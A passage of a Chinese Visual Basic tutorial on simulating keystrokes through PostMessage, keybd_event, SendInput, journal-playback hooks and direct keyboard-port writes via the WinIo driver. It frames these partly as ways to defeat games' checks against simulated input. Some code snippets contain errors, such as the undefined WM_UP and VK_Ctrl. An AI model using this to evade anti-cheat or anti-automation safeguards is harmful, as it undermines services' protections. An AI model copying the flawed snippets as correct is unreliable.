<p>&nbsp;&nbsp;&nbsp;&nbsp;从上面的流程可以看出，键盘事件是最终被送到活动窗口，然后才引起目标程序响应的。那么最直接的模拟方法就是：直接伪造一个键盘消息发给目标程序。哈哈，这实在是很简单，windows提供了几个这样的API函数可以实现直接向目标程序发送消息的功能，常用的有SendMessage和PostMessage，它们的区别是PostMessage函数直接把消息仍给目标程序就不管了，而SendMessage把消息发出去后，还要等待目标程序返回些什么东西才好。这里要注意的是，模拟键盘消息一定要用PostMessage函数才好，用SendMessage是不正确的(因为模拟键盘消息是不需要返回值的，不然目标程序会没反应)，切记切记！PostMessage函数的VB声明如下：<br>Declare&nbsp;Function&nbsp;PostMessage&nbsp;Lib&nbsp;"user32"&nbsp;Alias&nbsp;"PostMessageA"&nbsp;(ByVal&nbsp;hwnd&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;wMsg&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;wParam&nbsp;As&nbsp;Long,&nbsp;lParam&nbsp;As&nbsp;Any)&nbsp;As&nbsp;Long<br>参数hwnd&nbsp;是你要发送消息的目标程序上某个控件的句柄，参数wMsg&nbsp;是消息的类型，表示你要发送什么样的消息，最后wParam&nbsp;和lParam&nbsp;这两个参数是随消息附加的数据，具体内容要由消息决定。<br>再来看看wMsg&nbsp;这个参数，要模拟按键就靠这个了。键盘消息常用的有如下几个：<br>WM_KEYDOWN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;表示一个普通键被按下<br>WM_KEYUP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;表示一个普通键被释放<br>WM_SYSKEYDOWN&nbsp;&nbsp;表示一个系统键被按下，比如Alt键<br>WM_SYSKEYUP&nbsp;&nbsp;&nbsp;&nbsp;表示一个系统键被释放，比如Alt键<br>如果你确定要发送以上几个键盘消息，那么再来看看如何确定键盘消息中的wParam&nbsp;和lParam&nbsp;这两个参数。在一个键盘消息中，wParam&nbsp;参数的含义较简单，它表示你要发送的键盘事件的按键虚拟码，比如你要对目标程序模拟按下A键，那么wParam&nbsp;参数的值就设为VK_A&nbsp;,至于lParam&nbsp;这个参数就比较复杂了，因为它包含了多个信息，一般可以把它设为0，但是如果你想要你的模拟更真实一些，那么建议你还是设置一下这个参数。那么我们就详细了解一下lParam&nbsp;吧。lParam&nbsp;是一个long类型的参数，它在内存中占4个字节，写成二进制就是00000000&nbsp;00000000&nbsp;00000000&nbsp;00000000&nbsp;&nbsp;一共是32位，我们从右向左数，假设最右边那位为第0位(注意是从0而不是从1开始计数)，最左边的就是第31位，那么该参数的的0-15位表示键的发送次数等扩展信息，16-23位为按键的扫描码，24-31位表示是按下键还是释放键。大家一般习惯写成16进制的，那么就应该是&amp;H00&nbsp;00&nbsp;00&nbsp;00&nbsp;，第0-15位一般为&amp;H0001，如果是按下键，那么24-31位为&amp;H00，释放键则为&amp;HC0,那么16-23位的扫描码怎么会得呢？这需要用到一个API函数MapVirtualKey，这个函数可以将虚拟码转换为扫描码，或将扫描码转换为虚拟码，还可以把虚拟码转换为对应字符的ASCII码。它的VB声明如下：<br>Declare&nbsp;Function&nbsp;MapVirtualKey&nbsp;Lib&nbsp;"user32"&nbsp;Alias&nbsp;"MapVirtualKeyA"&nbsp;(ByVal&nbsp;wCode&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;wMapType&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Long<br>参数wCode&nbsp;表示待转换的码，参数wMapType&nbsp;表示从什么转换为什么，如果是虚拟码转扫描码，则wMapType&nbsp;设置为0，如果是虚拟扫描码转虚拟码，则wMapType&nbsp;设置为1，如果是虚拟码转ASCII码，则wMapType&nbsp;设置为2.相信有了这些，我们就可以构造键盘事件的lParam参数了。下面给出一个构造lParam参数的函数：<br>Declare&nbsp;Function&nbsp;MapVirtualKey&nbsp;Lib&nbsp;"user32"&nbsp;Alias&nbsp;"MapVirtualKeyA"&nbsp;(ByVal&nbsp;wCode&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;wMapType&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Long</p>
<p>Function&nbsp;MakeKeyLparam(ByVal&nbsp;VirtualKey&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;flag&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Long<br>'参数VirtualKey表示按键虚拟码,flag表示是按下键还是释放键，用WM_KEYDOWN和WM_KEYUP这两个常数表示<br>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;s&nbsp;As&nbsp;String<br>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Firstbyte&nbsp;As&nbsp;String&nbsp;&nbsp;&nbsp;&nbsp;'lparam参数的24-31位<br>&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;flag&nbsp;=&nbsp;WM_KEYDOWN&nbsp;&nbsp;Then&nbsp;'如果是按下键<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Firstbyte&nbsp;=&nbsp;"00"<br>&nbsp;&nbsp;&nbsp;&nbsp;Else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Firstbyte&nbsp;=&nbsp;"C0"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'如果是释放键<br>&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Scancode&nbsp;As&nbsp;Long<br>&nbsp;&nbsp;&nbsp;&nbsp;'获得键的扫描码<br>&nbsp;&nbsp;&nbsp;&nbsp;Scancode&nbsp;=&nbsp;MapVirtualKey(VirtualKey,&nbsp;0)<br>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Secondbyte&nbsp;As&nbsp;String&nbsp;&nbsp;&nbsp;'lparam参数的16-23位，即虚拟键扫描码<br>&nbsp;&nbsp;&nbsp;&nbsp;Secondbyte&nbsp;=&nbsp;Right("00"&nbsp;&amp;&nbsp;Hex(Scancode),&nbsp;2)<br>&nbsp;&nbsp;&nbsp;&nbsp;s&nbsp;=&nbsp;Firstbyte&nbsp;&amp;&nbsp;Secondbyte&nbsp;&amp;&nbsp;"0001"&nbsp;&nbsp;'0001为lparam参数的0-15位，即发送次数和其它扩展信息<br>&nbsp;&nbsp;&nbsp;&nbsp;MakeKeyLparam&nbsp;=&nbsp;Val("&amp;H"&nbsp;&amp;&nbsp;s)<br>End&nbsp;Function</p>
<p>这个函数像这样调用，比如按下A键，那么lParam=MakeKeyLparam(VK_A,WM_KEYDOWN)&nbsp;，很简单吧。值得注意的是，即使你发送消息时设置了lParam参数的值，但是系统在传递消息时仍然可能会根据当时的情况重新设置该参数，那么目标程序收到的消息中lParam的值可能会和你发送时的有所不同。所以，如果你很懒的话，还是直接把它设为0吧，对大多数程序不会有影响的，呵呵。<br>&nbsp;&nbsp;&nbsp;&nbsp;好了，做完以上的事情，现在我们可以向目标程序发送键盘消息了。首先取得目标程序接受这个消息的控件的句柄，比如目标句柄是12345，那么我们来对目标模拟按下并释放A键，像这样：(为了简单起见，lParam这个参数就不构造了，直接传0)<br>PostMessage&nbsp;12345，WM_KEYDOWN，VK_A，0&amp;&nbsp;&nbsp;&nbsp;'按下A键<br>PostMessage&nbsp;12345，WM_UP，VK_A，0&amp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'释放A键<br>好了，一次按键就完成了。现在你可以迫不及待的打开记事本做实验，先用FindWindowEx这类API函数找到记事本程序的句柄，再向它发送键盘消息，期望记事本里能诡异的自动出现字符。可是你马上就是失望了，咦，怎么一点反应也没有？你欺骗感情啊~~~~~~~~~~55555555555555&nbsp;&nbsp;不是的哦，接着往下看啊。<br>一般目标程序都会含有多个控件，并不是每个控件都会对键盘消息作出反应，只有把键盘消息发送给接受它的控件才会得到期望的反应。那记事本来说，它的编辑框其实是个edit类，只有这个控件才对键盘事件有反应，如果只是把消息发给记事本的窗体，那是没有用的。现在你找出记事本那个编辑框的句柄，比如是54321，那么写如下代码：<br>PostMessage&nbsp;54321，WM_KEYDOWN，VK_F1，0&amp;&nbsp;&nbsp;&nbsp;'按下F1键<br>PostMessage&nbsp;54321，WM_UP，VK_F1，0&amp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'释放F1键<br>怎么样，是不是打开了记事本的&#8220;帮助&#8221;信息？这说明目标程序已经收到了你发的消息，还不错吧~~~~~~~~<br>可以马上新问题就来了，你想模拟向记事本按下A这个键，好在记事本里自动输入字符，可是，没有任何反应！这是怎么一回事呢？<br>原来，如果要向目标程序发送字符，光靠WM_KEYDOWN和WM_UP这两个事件还不行，还需要一个事件：WM_CHAR，这个消息表示一个字符，程序需靠它看来接受输入的字符。一般只有A，B，C等这样的按键才有WM_CHAR消息，别的键(比如方向键和功能键)是没有这个消息的，WM_CHAR消息一般发生在WM_KEYDOWN消息之后。WM_CHAR消息的lParam参数的含义与其它键盘消息一样，而它的wParam则表示相应字符的ASCII编码(可以输入中文的哦^_^)，现在你可以写出一个完整的向记事本里自动写入字符的程序了，下面是一个例子，并附有这些消息常数的具体值：<br>Declare&nbsp;Function&nbsp;PostMessage&nbsp;Lib&nbsp;"user32"&nbsp;Alias&nbsp;"PostMessageA"&nbsp;(ByVal&nbsp;hwnd&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;wMsg&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;wParam&nbsp;As&nbsp;Long,&nbsp;lParam&nbsp;As&nbsp;Any)&nbsp;As&nbsp;Long<br>Declare&nbsp;Function&nbsp;MapVirtualKey&nbsp;Lib&nbsp;"user32"&nbsp;Alias&nbsp;"MapVirtualKeyA"&nbsp;(ByVal&nbsp;wCode&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;wMapType&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Long</p>
<p>Public&nbsp;Const&nbsp;WM_KEYDOWN&nbsp;=&nbsp;&amp;H100<br>Public&nbsp;Const&nbsp;WM_KEYUP&nbsp;=&nbsp;&amp;H101<br>Public&nbsp;Const&nbsp;WM_CHAR&nbsp;=&nbsp;&amp;H102<br>Public&nbsp;Const&nbsp;VK_A&nbsp;=&nbsp;&amp;H41&nbsp;</p>
<p>Function&nbsp;MakeKeyLparam(ByVal&nbsp;VirtualKey&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;flag&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Long<br>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;s&nbsp;As&nbsp;String<br>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Firstbyte&nbsp;As&nbsp;String&nbsp;&nbsp;&nbsp;&nbsp;'lparam参数的24-31位<br>&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;flag&nbsp;=&nbsp;WM_KEYDOWN&nbsp;&nbsp;Then&nbsp;'如果是按下键<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Firstbyte&nbsp;=&nbsp;"00"<br>&nbsp;&nbsp;&nbsp;&nbsp;Else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Firstbyte&nbsp;=&nbsp;"C0"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'如果是释放键<br>&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Scancode&nbsp;As&nbsp;Long<br>&nbsp;&nbsp;&nbsp;&nbsp;'获得键的扫描码<br>&nbsp;&nbsp;&nbsp;&nbsp;Scancode&nbsp;=&nbsp;MapVirtualKey(VirtualKey,&nbsp;0)<br>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Secondbyte&nbsp;As&nbsp;String&nbsp;&nbsp;&nbsp;'lparam参数的16-23位，即虚拟键扫描码<br>&nbsp;&nbsp;&nbsp;&nbsp;Secondbyte&nbsp;=&nbsp;Right("00"&nbsp;&amp;&nbsp;Hex(Scancode),&nbsp;2)<br>&nbsp;&nbsp;&nbsp;&nbsp;s&nbsp;=&nbsp;Firstbyte&nbsp;&amp;&nbsp;Secondbyte&nbsp;&amp;&nbsp;"0001"&nbsp;&nbsp;'0001为lparam参数的0-15位，即发送次数和其它扩展信息<br>&nbsp;&nbsp;&nbsp;&nbsp;MakeKeyLparam&nbsp;=&nbsp;Val("&amp;H"&nbsp;&amp;&nbsp;s)<br>End&nbsp;Function</p>
<p>Private&nbsp;Sub&nbsp;Form_Load()<br>&nbsp;&nbsp;&nbsp;&nbsp;dim&nbsp;hwnd&nbsp;as&nbsp;long<br>&nbsp;&nbsp;&nbsp;&nbsp;hwnd&nbsp;=&nbsp;XXXXXX&nbsp;&nbsp;'XXXXX表示记事本编辑框的句柄<br>&nbsp;&nbsp;&nbsp;&nbsp;PostMessage&nbsp;hwnd,WM_KEYDOWN，VK_A，MakeKeyLparam(VK_A,WM_KEYDOWN)&nbsp;&nbsp;'按下A键<br>&nbsp;&nbsp;&nbsp;&nbsp;PostMessage&nbsp;hwnd,WM_CHAR，ASC("A"),MakeKeyLparam(VK_A,WM_KEYDOWN)&nbsp;&nbsp;'输入字符A<br>&nbsp;&nbsp;&nbsp;&nbsp;PostMessage&nbsp;hwnd,WM_UP，VK_A，MakeKeyLparam(VK_A,WM_UP)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'释放A键<br>End&nbsp;Sub</p>
<p>这就是通过局部键盘消息来模拟按键。这个方法有一个极大的好处，就是：它可以实现后台按键，也就是说他对你的前台操作不会有什么影响。比如，你可以用这个方法做个程序在游戏中模拟按键来不断地执行某些重复的操作，而你则一边喝茶一边与QQ上的MM们聊得火热，它丝毫不会影响你的前台操作。无论目标程序是否获得焦点都没有影响，这就是后台模拟按键的原理啦~~~~</p>
<p><br>2.全局级模拟</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;你会发现，用上面的方法模拟按键并不是对所有程序都有效的，有的程序啊，你向它发了一大堆消息，可是它却一点反应也没有。这是怎么回事呢？这就要看具体的情况了，有些程序(特别是一些游戏)出于某些原因，会禁止用户对它使用模拟按键程序，这个怎么实现呢？比如可以在程序中检查一下，如果发现自己不是活动窗口，就不接受键盘消息。或者仔细检查一下收到的键盘消息，你会发现真实的按键和模拟的按键消息总是有一些小差别，从这些小差别上，目标程序就能判断出：这是假的！是伪造的！！因此，如果用PostMessage发送局部消息模拟按键不成功的话，你可以试一试全局级的键盘消息，看看能不能骗过目标程序。<br>模拟全局键盘消息常见的可以有以下一些方法：<br>(1)&nbsp;用API函数keybd_event，这个函数可以用来模拟一个键盘事件，它的VB声明为：<br>Declare&nbsp;Sub&nbsp;keybd_event&nbsp;Lib&nbsp;"user32"&nbsp;(ByVal&nbsp;bVk&nbsp;As&nbsp;Byte,&nbsp;ByVal&nbsp;bScan&nbsp;As&nbsp;Byte,&nbsp;ByVal&nbsp;dwFlags&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;dwExtraInfo&nbsp;As&nbsp;Long)<br>参数bVk表示要模拟的按键的虚拟码，bScan表示该按键的扫描码(一般可以传0)，dwFlags表示是按下键还是释放键(按下键为0，释放键为2)，dwExtraInfo是扩展标志，一般没有用。比如要模拟按下A键，可以这样：<br>Const&nbsp;KEYEVENTF_KEYUP&nbsp;=&nbsp;&amp;H2<br>keybd_event&nbsp;VK_A,&nbsp;0,&nbsp;0,&nbsp;0&nbsp;&nbsp;&nbsp;'按下A键<br>keybd_event&nbsp;VK_A,&nbsp;0,&nbsp;KEYEVENTF_KEYUP,&nbsp;0&nbsp;&nbsp;&nbsp;'释放A键<br>注意有时候按键的速度不要太快，否则会出问题，可以用API函数Sleep来进行延时，声明如下：<br>Declare&nbsp;Sub&nbsp;Sleep&nbsp;Lib&nbsp;"kernel32"&nbsp;(ByVal&nbsp;dwMilliseconds&nbsp;As&nbsp;Long)<br>参数dwMilliseconds表示延时的时间，以毫秒为单位。<br>那么如果要模拟按下功能键怎么做呢？比如要按下Ctrl+C实现拷贝这个功能，可以这样：<br>keybd_event&nbsp;VK_Ctrl,&nbsp;0,&nbsp;0,&nbsp;0&nbsp;&nbsp;&nbsp;'按下Ctrl键<br>keybd_event&nbsp;VK_C,&nbsp;0,&nbsp;0,&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'按下C键<br>Sleep&nbsp;500&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'延时500毫秒<br>keybd_event&nbsp;VK_C,&nbsp;0,&nbsp;KEYEVENTF_KEYUP,&nbsp;0&nbsp;&nbsp;&nbsp;'释放C键<br>keybd_event&nbsp;VK_Ctrl,&nbsp;0,&nbsp;KEYEVENTF_KEYUP,&nbsp;0&nbsp;&nbsp;&nbsp;'释放Ctrl键<br>好了，现在你可以试试是不是可以骗过目标程序了，这个函数对大部分的窗口程序都有效，可是仍然有一部分游戏对它产生的键盘事件熟视无睹，这时候，你就要用上bScan这个参数了。一般的，bScan都传0，但是如果目标程序是一些DirectX游戏，那么你就需要正确使用这个参数传入扫描码，用了它可以产生正确的硬件事件消息，以被游戏识别。这样的话，就可以写成这样：<br>keybd_event&nbsp;VK_A,&nbsp;MapVirtualKey(VK_A,&nbsp;0),&nbsp;0,&nbsp;0&nbsp;&nbsp;&nbsp;'按下A键<br>keybd_event&nbsp;VK_A,&nbsp;MapVirtualKey(VK_A,&nbsp;0),&nbsp;KEYEVENTF_KEYUP,&nbsp;0&nbsp;&nbsp;&nbsp;'释放A键<br>以上就是用keybd_event函数来模拟键盘事件。除了这个函数，SendInput函数也可以模拟全局键盘事件。SendInput可以直接把一条消息插入到消息队列中，算是比较底层的了。它的VB声明如下：<br>Declare&nbsp;Function&nbsp;SendInput&nbsp;Lib&nbsp;"user32.dll"&nbsp;(ByVal&nbsp;nInputs&nbsp;As&nbsp;Long,&nbsp;pInputs&nbsp;As&nbsp;GENERALINPUT,&nbsp;ByVal&nbsp;cbSize&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Long<br>参数：&nbsp;<br>nlnprts：定义plnputs指向的结构的数目。<br>plnputs：指向INPUT结构数组的指针。每个结构代表插人到键盘或鼠标输入流中的一个事件。<br>cbSize：定义INPUT结构的大小。若cbSize不是INPUT结构的大小，则函数调用失败。<br>返回值：函数返回被成功地插人键盘或鼠标输入流中的事件的数目。若要获得更多的错误信息，可以调用GetlastError函数。<br>备注：Sendlnput函数将INPUT结构中的事件顺序地插入键盘或鼠标的输入流中。这些事件与用户插入的（用鼠标或键盘）或调用keybd_event，mouse_event，或另外的Sendlnput插人的键盘或鼠标的输入流不兼容。<br>嗯，这个函数用起来蛮复杂的，因为它的参数都是指针一类的东西。要用它来模拟键盘输入，先要构造一组数据结构，把你要模拟的键盘消息装进去，然后传给它。为了方便起见，把它做在一个过程里面，要用的时候直接调用好了，代码如下：<br>Declare&nbsp;Function&nbsp;SendInput&nbsp;Lib&nbsp;"user32.dll"&nbsp;(ByVal&nbsp;nInputs&nbsp;As&nbsp;Long,&nbsp;pInputs&nbsp;As&nbsp;GENERALINPUT,&nbsp;ByVal&nbsp;cbSize&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Long<br>Declare&nbsp;Sub&nbsp;CopyMemory&nbsp;Lib&nbsp;"kernel32"&nbsp;Alias&nbsp;"RtlMoveMemory"&nbsp;(pDst&nbsp;As&nbsp;Any,&nbsp;pSrc&nbsp;As&nbsp;Any,&nbsp;ByVal&nbsp;ByteLen&nbsp;As&nbsp;Long)<br>&nbsp;Type&nbsp;GENERALINPUT<br>&nbsp;&nbsp;&nbsp;dwType&nbsp;As&nbsp;Long<br>&nbsp;&nbsp;&nbsp;xi(0&nbsp;To&nbsp;23)&nbsp;As&nbsp;Byte<br>&nbsp;End&nbsp;Type</p>
<p>&nbsp;Type&nbsp;KEYBDINPUT<br>&nbsp;&nbsp;wVk&nbsp;As&nbsp;Integer<br>&nbsp;&nbsp;wScan&nbsp;As&nbsp;Integer<br>&nbsp;&nbsp;dwFlags&nbsp;As&nbsp;Long<br>&nbsp;&nbsp;time&nbsp;As&nbsp;Long<br>&nbsp;&nbsp;dwExtraInfo&nbsp;As&nbsp;Long<br>&nbsp;End&nbsp;Type</p>
<p>Const&nbsp;INPUT_KEYBOARD&nbsp;=&nbsp;1</p>
<p>Sub&nbsp;MySendKey(bkey&nbsp;As&nbsp;Long)<br>'参数bkey传入要模拟按键的虚拟码即可模拟按下指定键<br>Dim&nbsp;GInput(0&nbsp;To&nbsp;1)&nbsp;As&nbsp;GENERALINPUT<br>Dim&nbsp;KInput&nbsp;As&nbsp;KEYBDINPUT<br>&nbsp;KInput.wVk&nbsp;=&nbsp;bkey&nbsp;&nbsp;'你要模拟的按键<br>&nbsp;KInput.dwFlags&nbsp;=&nbsp;0&nbsp;'按下键标志<br>&nbsp;GInput(0).dwType&nbsp;=&nbsp;INPUT_KEYBOARD<br>&nbsp;CopyMemory&nbsp;GInput(0).xi(0),&nbsp;KInput,&nbsp;Len(KInput)&nbsp;'这个函数用来把内存中KInput的数据复制到GInput<br>&nbsp;KInput.wVk&nbsp;=&nbsp;bkey&nbsp;&nbsp;<br>&nbsp;KInput.dwFlags&nbsp;=&nbsp;KEYEVENTF_KEYUP&nbsp;&nbsp;'&nbsp;释放按键<br>&nbsp;GInput(1).dwType&nbsp;=&nbsp;INPUT_KEYBOARD&nbsp;'&nbsp;表示该消息为键盘消息<br>&nbsp;CopyMemory&nbsp;GInput(1).xi(0),&nbsp;KInput,&nbsp;Len(KInput)<br>'以上工作把按下键和释放键共2条键盘消息加入到GInput数据结构中<br>&nbsp;SendInput&nbsp;2,&nbsp;GInput(0),&nbsp;Len(GInput(0))&nbsp;&nbsp;&nbsp;&nbsp;'把GInput中存放的消息插入到消息列队<br>End&nbsp;Sub</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;除了以上这些，用全局钩子也可以模拟键盘消息。如果你对windows中消息钩子的用法已经有所了解，那么你可以通过设置一个全局HOOK来模拟键盘消息，比如，你可以用WH_JOURNALPLAYBACK这个钩子来模拟按键。WH_JOURNALPLAYBACK是一个系统级的全局钩子，它和WH_JOURNALRECORD的功能是相对的，常用它们来记录并回放键盘鼠标操作。WH_JOURNALRECORD钩子用来将键盘鼠标的操作忠实地记录下来，记录下来的信息可以保存到文件中，而WH_JOURNALPLAYBACK则可以重现这些操作。当然亦可以单独使用WH_JOURNALPLAYBACK来模拟键盘操作。你需要首先声明SetWindowsHookEx函数，它可以用来安装消息钩子：<br>Declare&nbsp;Function&nbsp;SetWindowsHookEx&nbsp;Lib&nbsp;"user32"&nbsp;Alias&nbsp;"SetWindowsHookExA"&nbsp;(ByVal&nbsp;idHook&nbsp;As&nbsp;Long,ByVal&nbsp;lpfn&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;hmod&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;dwThreadId&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Long<br>先安装WH_JOURNALPLAYBACK这个钩子，然后你需要自己写一个钩子函数，在系统调用它时，把你要模拟的事件传递给钩子参数lParam所指向的EVENTMSG区域，就可以达到模拟按键的效果。不过用这个钩子模拟键盘事件有一个副作用，就是它会锁定真实的鼠标键盘，不过如果你就是想在模拟的时候不会受真实键盘操作的干扰，那么用用它倒是个不错的主意。<br>3.驱动级模拟</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;如果上面的方法你都试过了，可是你发现目标程序却仍然顽固的不接受你模拟的消息，寒~~~~~~~~~还好，我还剩下最后一招，这就是驱动级模拟：直接读写键盘的硬件端口！<br>&nbsp;&nbsp;&nbsp;&nbsp;有一些使用DirectX接口的游戏程序，它们在读取键盘操作时绕过了windows的消息机制，而使用DirectInput.这是因为有些游戏对实时性控制的要求比较高，比如赛车游戏，要求以最快速度响应键盘输入。而windows消息由于是队列形式的，消息在传递时会有不少延迟，有时1秒钟也就传递十几条消息，这个速度达不到游戏的要求。而DirectInput则绕过了windows消息，直接与键盘驱动程序打交道，效率当然提高了不少。因此也就造成，对这样的程序无论用PostMessage或者是keybd_event都不会有反应，因为这些函数都在较高层。对于这样的程序，只好用直接读写键盘端口的方法来模拟硬件事件了。要用这个方法来模拟键盘，需要先了解一下键盘编程的相关知识。<br>&nbsp;&nbsp;&nbsp;&nbsp;在DOS时代，当用户按下或者放开一个键时，就会产生一个键盘中断(如果键盘中断是允许的)，这样程序会跳转到BIOS中的键盘中断处理程序去执行。打开windows的设备管理器，可以查看到键盘控制器由两个端口控制。其中&amp;H60是数据端口，可以读出键盘数据，而&amp;H64是控制端口，用来发出控制信号。也就是，从&amp;H60号端口可以读此键盘的按键信息，当从这个端口读取一个字节，该字节的低7位就是按键的扫描码，而高1位则表示是按下键还是释放键。当按下键时，最高位为0，称为通码，当释放键时，最高位为1，称为断码。既然从这个端口读数据可以获得按键信息，那么向这个端口写入数据就可以模拟按键了！用过QbASIC4.5的朋友可能知道，QB中有个OUT命令可以向指定端口写入数据，而INP函数可以读取指定端口的数据。那我们先看看如果用QB该怎么写代码：<br>假如你想模拟按下一个键，这个键的扫描码为&amp;H50，那就这样<br>OUT&nbsp;&amp;H64,&amp;HD2&nbsp;&nbsp;&nbsp;'把数据&amp;HD2发送到&amp;H64端口。这是一个KBC指令，表示将要向键盘写入数据<br>OUT&nbsp;&amp;H60,&amp;H50&nbsp;&nbsp;&nbsp;'把扫描码&amp;H50发送到&amp;H60端口，表示模拟按下扫描码为&amp;H50的这个键<br>那么要释放这个键呢？像这样，发送该键的断码：<br>OUT&nbsp;&amp;H64,&amp;HD2&nbsp;&nbsp;&nbsp;'把数据&amp;HD2发送到&amp;H64端口。这是一个KBC指令，表示将要向键盘写入数据<br>OUT&nbsp;&amp;H60,(&amp;H50&nbsp;OR&nbsp;&amp;H80)&nbsp;&nbsp;&nbsp;'把扫描码&amp;H50与数据&amp;H80进行或运算，可以把它的高位置1，得到断码，表示释放这个键<br>&nbsp;&nbsp;&nbsp;&nbsp;好了，现在的问题就是在VB中如何向端口写入数据了。因为在windows中，普通应用程序是无权操作端口的，于是我们就需要一个驱动程序来帮助我们实现。在这里我们可以使用一个组件WINIO来完成读写端口操作。什么是WINIO？WINIO是一个全免费的、无需注册的、含源程序的WINDOWS2000端口操作驱动程序组件(可以到<a href="http://www.internals.com/" target=_blank><u><font color=#0000ff>http://www.internals.com/</font></u></a>上去下载)。它不仅可以操作端口，还可以操作内存；不仅能在VB下用，还可以在DELPHI、VC等其它环境下使用，性能特别优异。下载该组件，解压缩后可以看到几个文件夹，其中Release文件夹下的3个文件就是我们需要的，这3个文件是WinIo.sys(用于win&nbsp;xp下的驱动程序)，WINIO.VXD(用于win&nbsp;98下的驱动程序)，WinIo.dll(封装函数的动态链接库)，我们只需要调用WinIo.dll中的函数，然后WinIo.dll就会安装并调用驱动程序来完成相应的功能。值得一提的是这个组件完全是绿色的，无需安装，你只需要把这3个文件复制到与你的程序相同的文件夹下就可以使用了。用法很简单，先用里面的InitializeWinIo函数安装驱动程序，然后就可以用GetPortVal来读取端口或者用SetPortVal来写入端口了。好，让我们来做一个驱动级的键盘模拟吧。先把winio的3个文件拷贝到你的程序的文件夹下，然后在VB中新建一个工程，添加一个模块，在模块中加入下面的winio函数声明:</p>
<p>Declare&nbsp;Function&nbsp;MapPhysToLin&nbsp;Lib&nbsp;"WinIo.dll"&nbsp;(ByVal&nbsp;PhysAddr&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;PhysSize&nbsp;As&nbsp;Long,&nbsp;ByRef&nbsp;PhysMemHandle)&nbsp;As&nbsp;Long<br>Declare&nbsp;Function&nbsp;UnmapPhysicalMemory&nbsp;Lib&nbsp;"WinIo.dll"&nbsp;(ByVal&nbsp;PhysMemHandle,&nbsp;ByVal&nbsp;LinAddr)&nbsp;As&nbsp;Boolean<br>Declare&nbsp;Function&nbsp;GetPhysLong&nbsp;Lib&nbsp;"WinIo.dll"&nbsp;(ByVal&nbsp;PhysAddr&nbsp;As&nbsp;Long,&nbsp;ByRef&nbsp;PhysVal&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Boolean<br>Declare&nbsp;Function&nbsp;SetPhysLong&nbsp;Lib&nbsp;"WinIo.dll"&nbsp;(ByVal&nbsp;PhysAddr&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;PhysVal&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Boolean<br>Declare&nbsp;Function&nbsp;GetPortVal&nbsp;Lib&nbsp;"WinIo.dll"&nbsp;(ByVal&nbsp;PortAddr&nbsp;As&nbsp;Integer,&nbsp;ByRef&nbsp;PortVal&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;bSize&nbsp;As&nbsp;Byte)&nbsp;As&nbsp;Boolean<br>Declare&nbsp;Function&nbsp;SetPortVal&nbsp;Lib&nbsp;"WinIo.dll"&nbsp;(ByVal&nbsp;PortAddr&nbsp;As&nbsp;Integer,&nbsp;ByVal&nbsp;PortVal&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;bSize&nbsp;As&nbsp;Byte)&nbsp;As&nbsp;Boolean<br>Declare&nbsp;Function&nbsp;InitializeWinIo&nbsp;Lib&nbsp;"WinIo.dll"&nbsp;()&nbsp;As&nbsp;Boolean<br>Declare&nbsp;Function&nbsp;ShutdownWinIo&nbsp;Lib&nbsp;"WinIo.dll"&nbsp;()&nbsp;As&nbsp;Boolean<br>Declare&nbsp